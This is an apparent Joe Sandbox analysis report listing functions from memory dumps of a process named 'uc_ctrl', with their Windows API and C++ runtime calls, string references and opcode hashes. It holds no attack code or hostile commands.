Q, xrefs: 6C94F5F3
#, xrefs: 6C94F5F8
E, xrefs: 6C94F5E9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@U?$char_traits@_Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID: #$E$O$Q
API String ID: 602496783-3590659638
Opcode ID: 75c60953e6fa1e6267ab8d29ae27c92dd45c1fc0c0b0dcaa8fd32a0248cbb5cf
Instruction ID: 9c41b785b84fbc77a9a93601b3fba54a5cd3df73043d718b927d5701928d8cb9
Opcode Fuzzy Hash: 75c60953e6fa1e6267ab8d29ae27c92dd45c1fc0c0b0dcaa8fd32a0248cbb5cf
Instruction Fuzzy Hash: 2B41BD75A0121ADFCF04CF94C850AFE77B6AF28318F15804AE915A7790DB34EE55CBA1

Function 6C939720 Relevance: 18.2, APIs: 12, Instructions: 246COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C939727
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6C93850B,?,?,?,?,?,?,?,00000000,?,00000040,6C9257CC,?), ref: 6C939783
std::locale::~locale.LIBCPMT ref: 6C93979D
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000040,6C9257CC,?), ref: 6C9397E1
std::locale::~locale.LIBCPMT ref: 6C9397FD
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,00000010,?,00000000,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9398AB
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9398F2
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,00000000,?,?,00000000,?,?,?,00000010,?,00000000,?,?,?,?), ref: 6C939914
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?,?,?,?,?,?,?,?,00000000,?), ref: 6C93993B
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,00000040,6C9257CC,?), ref: 6C939973
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000040,6C9257CC,?), ref: 6C939996

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Put@?$num_put@Rep@?$num_put@$?getloc@ios_base@std@@Vlocale@2@std::locale::~locale$H_prolog3_
String ID:
API String ID: 3384568810-0
Opcode ID: 8833c63ed81b1ae10e8db43ed197f4c35e1070299344137b146145ec65e41f54
Instruction ID: 369d8033c2675fc1b319193b2691d23ab038122568357f5441fa2d91c332bca3
Opcode Fuzzy Hash: 8833c63ed81b1ae10e8db43ed197f4c35e1070299344137b146145ec65e41f54
Instruction Fuzzy Hash: 30A1AD71D002299FDF01CFA4C980BEEBBB9EF58308F155059E809AB651DB71EE46CB90

Function 6C6A8CB8 Relevance: 16.7, APIs: 11, Instructions: 243windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6A8CBF
ClientToScreen.USER32(?,?), ref: 6C6A8CF6
GetWindowRect.USER32(?,?), ref: 6C6A8D14
PtInRect.USER32(?,?,?), ref: 6C6A8D24
IsWindowVisible.USER32(?), ref: 6C6A8D34
IsWindowVisible.USER32(?), ref: 6C6A8D48
SetRectEmpty.USER32(?), ref: 6C6A8D56
GetCapture.USER32 ref: 6C6A8D5F
ReleaseCapture.USER32 ref: 6C6A8D69
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 6C6A8F87
SetCapture.USER32(?), ref: 6C6A8FAB

Part of subcall function 6C6F8570: SetRectEmpty.USER32(?), ref: 6C6F8585

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$CaptureWindow$EmptyVisible$ClientH_prolog3_MessageReleaseScreenSend
String ID:
API String ID: 2255435817-0
Opcode ID: a0a7b78781a57fad68ae618316695cd5764cc7256c87f2e632c27166f9beb8f1
Instruction ID: fda0868910a75f765b548975909c629c0467cdcb33c931796ff39b8f779db0ea
Opcode Fuzzy Hash: a0a7b78781a57fad68ae618316695cd5764cc7256c87f2e632c27166f9beb8f1
Instruction Fuzzy Hash: 99A17C7190024ADFDF05DFA4C884AEDB7B6BF0D348F14447AE815AB661DB309D4ACB58

Function 6C6A6C30 Relevance: 16.6, APIs: 11, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 6C6A6C6A
ReleaseCapture.USER32 ref: 6C6A6C74
GetClientRect.USER32(?,?), ref: 6C6A6C8D
GetSystemMetrics.USER32(00000015), ref: 6C6A6CA9
GetSystemMetrics.USER32(00000015), ref: 6C6A6CD0
SendMessageW.USER32(?,0000120C,00000000,00000001), ref: 6C6A6D10
SendMessageW.USER32(?,0000120C,00000001,00000001), ref: 6C6A6D3F
GetCapture.USER32 ref: 6C6A6D68
ReleaseCapture.USER32 ref: 6C6A6D72
GetClientRect.USER32(?,?), ref: 6C6A6D8B
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6C6A6DE5

Part of subcall function 6C6A8B51: __EH_prolog3_GS.LIBCMT ref: 6C6A8B58
Part of subcall function 6C6A8B51: IsRectEmpty.USER32(?), ref: 6C6A8B73
Part of subcall function 6C6A8B51: InvertRect.USER32(?,?), ref: 6C6A8B89
Part of subcall function 6C6A8B51: SetRectEmpty.USER32(?), ref: 6C6A8B96

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$Capture$ClientEmptyMessageMetricsReleaseSendSystem$H_prolog3_InvertRedrawWindow
String ID:
API String ID: 174338775-0
Opcode ID: 9b64a294a28a462665f489429edb0d454078f42275ab36a7eadd8cecf4ecd23c
Instruction ID: c2d1d9749259d713fb0bcf43dc8e2e0605d98f6e77e034abd30ef466a1fdc7ae
Opcode Fuzzy Hash: 9b64a294a28a462665f489429edb0d454078f42275ab36a7eadd8cecf4ecd23c
Instruction Fuzzy Hash: 98515D72B00619AFDF05DFB8C9889AEBBB5FF48314F104169E816A7750DB30AE15CB94

Function 6C694A30 Relevance: 16.6, APIs: 11, Instructions: 140COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C694A37
FindResourceW.KERNEL32(?,00000000,00000005), ref: 6C694A7B
LoadResource.KERNEL32(?,00000000), ref: 6C694A83

Part of subcall function 6C68744F: UnhookWindowsHookEx.USER32(?), ref: 6C687479

LockResource.KERNEL32(?), ref: 6C694A93
GetDesktopWindow.USER32 ref: 6C694ACA
IsWindowEnabled.USER32(00000000), ref: 6C694AD5
EnableWindow.USER32(00000000,00000000), ref: 6C694AE1

Part of subcall function 6C68D728: IsWindowEnabled.USER32(?), ref: 6C68D733

Part of subcall function 6C68D500: EnableWindow.USER32(?,00000000), ref: 6C68D511

EnableWindow.USER32(00000000,00000001), ref: 6C694BC4
GetActiveWindow.USER32 ref: 6C694BCE
SetActiveWindow.USER32(00000000,?,?,?,?,?,00000000), ref: 6C694BDA
FreeResource.KERNEL32(?,?,?,?,?,?,00000000), ref: 6C694C03

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
String ID:
API String ID: 964565984-0
Opcode ID: 5b1bda13d2ccfd7f740423f6bc8d779ab229c7a0d96bdccfe35c958ec0875120
Instruction ID: a374038a82ac2461a3889fa7351ed67f7c62ed0fcaa4fc49c4fca1f882235635
Opcode Fuzzy Hash: 5b1bda13d2ccfd7f740423f6bc8d779ab229c7a0d96bdccfe35c958ec0875120
Instruction Fuzzy Hash: FA51A131A01216DBDF019FA5C988BFEB7B5BF0A319F100159E821B7790DBB49800CBAD

Function 00774810 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

APIs

wcsstr.VCRUNTIME140(?,?,?,?,?), ref: 00774895
wcsstr.VCRUNTIME140(?,?), ref: 007748AA
wcsstr.VCRUNTIME140(?,?), ref: 00774954

Strings

U$w, xrefs: 00774848, 007749CE
U$w, xrefs: 00774935, 0077497E

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: wcsstr
String ID: U$w$U$w
API String ID: 2735924446-1105245082
Opcode ID: a7362dda076c42f53869e3a177000119c2f998def6806f797b33b5ee2fda0fb3
Instruction ID: 52635805aeba5a0361e1b617cf63bbc432e00bfb3eb2e2b9adda0accd51c385f
Opcode Fuzzy Hash: a7362dda076c42f53869e3a177000119c2f998def6806f797b33b5ee2fda0fb3
Instruction Fuzzy Hash: DE71D135E0021ADFCF14DFA8C8849AEB7B5FF88384B15C569DD09A7204E778AE00CB91

Function 6C92E7E0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E805
tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6C92E8A6
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E8B8
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6C92E90A
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000,?,00000000), ref: 6C92E918
__aulldiv.LIBCMT ref: 6C92E98E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000010), ref: 6C92E99F

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 6C92E8AE, 6C92E8B3, 6C92E912, 6C92E917
+, xrefs: 6C92E81E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: memchrtolower$__aulldiv_errnoisspace
String ID: +$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 4155486202-4014772148
Opcode ID: e1b63e5ed9637bb36217036d73dc18a50374eaed1a261c32e085c0fe01435d1a
Instruction ID: a4b48f7e6cb92ccde1b9471baccd85621309538f6847ccd534d4712ced1a803a
Opcode Fuzzy Hash: e1b63e5ed9637bb36217036d73dc18a50374eaed1a261c32e085c0fe01435d1a
Instruction Fuzzy Hash: 5D61E2746297419FD711CE3984D072BBBE9EF8A316F24496EF4D5C3A48D238C541CB92

Function 6C680D03 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6C680D29
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6C680D39
EncodePointer.KERNEL32(00000000), ref: 6C680D42
DecodePointer.KERNEL32(00000000), ref: 6C680D50
LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6C680D64
GetSystemDirectoryW.KERNEL32(?,00000105), ref: 6C680D79

Strings

kernel32.dll, xrefs: 6C680D24
\, xrefs: 6C680D87
SetDefaultDllDirectories, xrefs: 6C680D33

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Pointer$AddressDecodeDirectoryEncodeHandleLibraryLoadModuleProcSystem
String ID: SetDefaultDllDirectories$\$kernel32.dll
API String ID: 4227638471-3881611067
Opcode ID: 3043632dbc253bd68a6fe54064bc125d4f50a1d276bdca3e048060c0280e08cb
Instruction ID: 9de5bb6bcc28bac5a08366ffbb5bd4a8fd820bd3eabf75a931bbbf9e313af566
Opcode Fuzzy Hash: 3043632dbc253bd68a6fe54064bc125d4f50a1d276bdca3e048060c0280e08cb
Instruction Fuzzy Hash: A3219672A43218ABCB209A658D4CFDB7BFCAF0A715F040865F818E7640EB70E544CAB5

Function 6C6BA993 Relevance: 15.2, APIs: 10, Instructions: 202COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6BA99D
GetObjectW.GDI32(?,00000018,?), ref: 6C6BA9C6

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Object
String ID:
API String ID: 2214263146-0
Opcode ID: f52ad88d3adbbcc98b5849efd7dfff64589e6dd6733be5b8c64f2b92563cc61e
Instruction ID: b9464259d945a476df8e9ce0d99e0fb2290078c8a90d73c101ef7b7cd547aaf2
Opcode Fuzzy Hash: f52ad88d3adbbcc98b5849efd7dfff64589e6dd6733be5b8c64f2b92563cc61e
Instruction Fuzzy Hash: 14814A71E002288BDF20CFA9C984A9DBBB6FF49304F1481A9E859B7712DB309D95DF54

Function 6C94F750 Relevance: 15.2, APIs: 10, Instructions: 194COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F757
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000020), ref: 6C94F766

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C94F782

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@U?$char_traits@_Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3732523052-0
Opcode ID: b949fd2bd41865b04156fc4d12e838d6222ae5c42029c930e1c75c6f49a212f8
Instruction ID: 17f4cc52ffaadbb4c71f1c2541e7a3c5c1d6dac8af1706355456e12717369b1c
Opcode Fuzzy Hash: b949fd2bd41865b04156fc4d12e838d6222ae5c42029c930e1c75c6f49a212f8
Instruction Fuzzy Hash: C471787190025A9FCF04CFA4C890AEE7775BF2831CF148149E8556BB90DB34EE55CB95

Function 6C6A8B51 Relevance: 15.1, APIs: 10, Instructions: 109windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6A8B58

Part of subcall function 6C685025: __EH_prolog3.LIBCMT ref: 6C68502C
Part of subcall function 6C685025: GetDC.USER32(00000000), ref: 6C685058

IsRectEmpty.USER32(?), ref: 6C6A8B73
InvertRect.USER32(?,?), ref: 6C6A8B89
SetRectEmpty.USER32(?), ref: 6C6A8B96
GetClientRect.USER32(00000000,00000000), ref: 6C6A8BE3
GetSystemMetrics.USER32(00000015), ref: 6C6A8C01
GetSystemMetrics.USER32(00000015), ref: 6C6A8C27
SendMessageW.USER32(?,0000120C,00000000,00000001), ref: 6C6A8C67
SendMessageW.USER32(?,0000120C,00000001,00000001), ref: 6C6A8C96
InvertRect.USER32(?,?), ref: 6C6A8CA2

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$EmptyInvertMessageMetricsSendSystem$ClientH_prolog3H_prolog3_
String ID:
API String ID: 3401445556-0
Opcode ID: e6467391597147776ea435ae1505e6446819dd95aa6ec7e62597119228f613f5
Instruction ID: d0118ebeeab0a6413c54eed6806c3129d2321686a15fa327e049929a7f5ddac8
Opcode Fuzzy Hash: e6467391597147776ea435ae1505e6446819dd95aa6ec7e62597119228f613f5
Instruction Fuzzy Hash: 99412772910214AFDF01CFA4C988BEDBBB5FF49316F150169E806BB260DB706D46CB64

Function 6C937E10 Relevance: 15.1, APIs: 10, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C937E17
?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008), ref: 6C937E28

Part of subcall function 6C93B490: __EH_prolog3.LIBCMT ref: 6C93B497
Part of subcall function 6C93B490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
Part of subcall function 6C93B490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5
Part of subcall function 6C93B490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD
Part of subcall function 6C93B490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3
Part of subcall function 6C93B490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008), ref: 6C937E3A
std::locale::_Setgloballocale.LIBCPMT(00000002), ref: 6C937E87
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,?), ref: 6C937EB4
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,?), ref: 6C937ED7
??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C937EE8

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_H_prolog3Lockit@std@@Setgloballocale_lock_localessetlocalestd::locale::_$??4?$_D@std@@Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@New_V01@V123@_Yarn@
String ID:
API String ID: 1283361127-0
Opcode ID: 496130d4aebdd3d469a91dc771ad353c34c8d0029906305c5f336fbdd60653fb
Instruction ID: 6bed3c80c4c2f873418d97215744c14b3499c7010cb48e68bd6b1569d073565e
Opcode Fuzzy Hash: 496130d4aebdd3d469a91dc771ad353c34c8d0029906305c5f336fbdd60653fb
Instruction Fuzzy Hash: 5B217731B052249FDB04DF68C8C09AE77B8BF59718B505469E81ADB791CB30EE458B90

Function 6C92DE78 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000003,?,00000001,00000000), ref: 6C92DED9
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C92DF0D
